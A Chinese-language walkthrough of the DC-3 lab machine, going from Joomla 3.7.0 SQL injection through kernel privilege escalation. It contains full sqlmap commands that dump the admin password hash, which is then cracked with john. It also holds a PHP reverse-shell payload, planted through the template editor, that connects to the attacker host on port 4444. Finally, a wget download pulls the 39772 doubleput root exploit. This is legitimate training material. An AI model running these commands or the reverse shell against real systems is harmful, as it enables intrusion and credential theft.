下载链接:DC-3
DC-3需要 把IDE里面的改成IDE 0:0 不然无法打开
知识点:
- Joomla cms 3.7.0 sql注入漏洞
- cmseek工具探测cms指纹
- john解密
- proc_popen反弹shell
- python -m http.server开启http服务 & wget远程下载
- ubuntu16.0.4 + Linux 4.4.0-21 系统漏洞提权
目录
信息搜集
sqlmap跑出用户信息
反弹shell
Privilege Escalation(提权)
信息搜集
nmap -sP 192.168.236.0/24 扫描一下靶机ip
靶机ip: 192.168.236.133
nmap -A -p 1-65535 192.168.236.133 扫描一下靶机开放哪些服务
通过扫描可以发现 DC-3开启了80端口 并且使用了Joomla! cms
访问一下看看:
告诉我们这次只有一个flag且没有线索,需要称为root用户
dirb扫描一下目录 发现了administrator后台目录
目标网页CMS为 Joomla,使用专门扫它的工具joomscan 来扫描joomla
kali里面安装joomscan工具的命令是sudo apt-get install joomscan
joomscan --url http://192.168.236.133
也可以shi'y
也可以用github上的cmseek工具
GitHub - Tuhinshubhra/CMSeeK: CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and over 180 other CMSs
扫出来CMS为 Joomla 3.7.0版本。使用kali里searchsploit 看看有没有可利用漏洞
sqlmap跑出用户信息
看到了一个SQL注入漏洞,我们去看一下42033.txt内容
看见了 sqlmap的利用 我们用其构造好的,去sqlmap里跑一下:
sqlmap -u "http://192.168.236.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
得到数据库名,我们再次查询一下 joomladb数据库的表名:
sqlmap -u "http://192.168.236.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
查看users表里的各个字段:
sqlmap -u "http://192.168.236.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
获得表中的账号密码 一般为username,password
sqlmap -u "http://192.168.236.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]
获得账号密码
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+
这是一个MD5+salt的加密,我们使用john去破解一下
得到密码 snoopy
反弹shell
访问之前扫到的后台地址 /administrator
通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本
可以创建一个php文件,也可以直接写入。再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而protostar模块就在/templates/protostar/里面
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.236.128", "4444");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
kali里nc监听4444端口 得到反弹shell
python -c "import pty;pty.spawn('/bin/bash')" 获取一个交互式的shell
Privilege Escalation(提权)
SUID、git等等行不通,于是考虑系统漏洞提权
uname -a 查看内核版本 Linux DC-3 4.4.0-21
cat /etc/issue 查看一下系统版本 是Ubuntu 16.04
查看kali本地漏洞库里面的exp
searchsploit Ubuntu 16.04
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,locate定位完整path
cat /usr/share/exploitdb/exploits/linux/local/39772.txt 查看一下
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的链接:
注:github上说repo 也就是仓库已经迁移了,所以我们去这里下载:
bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab
下载到本机上之后,我们可以选择通过蚁剑链接DC-3靶机,上传到靶机里,也可以先上传到kali kali上 python开启一个服务,然后靶机通过wget下载下来:
python -m http.server 1234
回到DC-3靶机的shell里 使用wget下载下来
wget http://192.168.236.128:1234/39772.zip
解压一下;
unzip 39772.zip #解压39772.zip
cd 39772 #进入39772
tar -xvf exploit.tar #解压缩exploit.tar
然后进入ebpf_mapfd_doubleput_exploit 目录下,按照kali里txt内容写的方法执行:
./compile.sh 执行compile.sh 执行完毕后会出现doubleput可执行文件
./doubleput 执行doubleput
得到 root权限 cd /root下,cat the-flag.txt 得到flag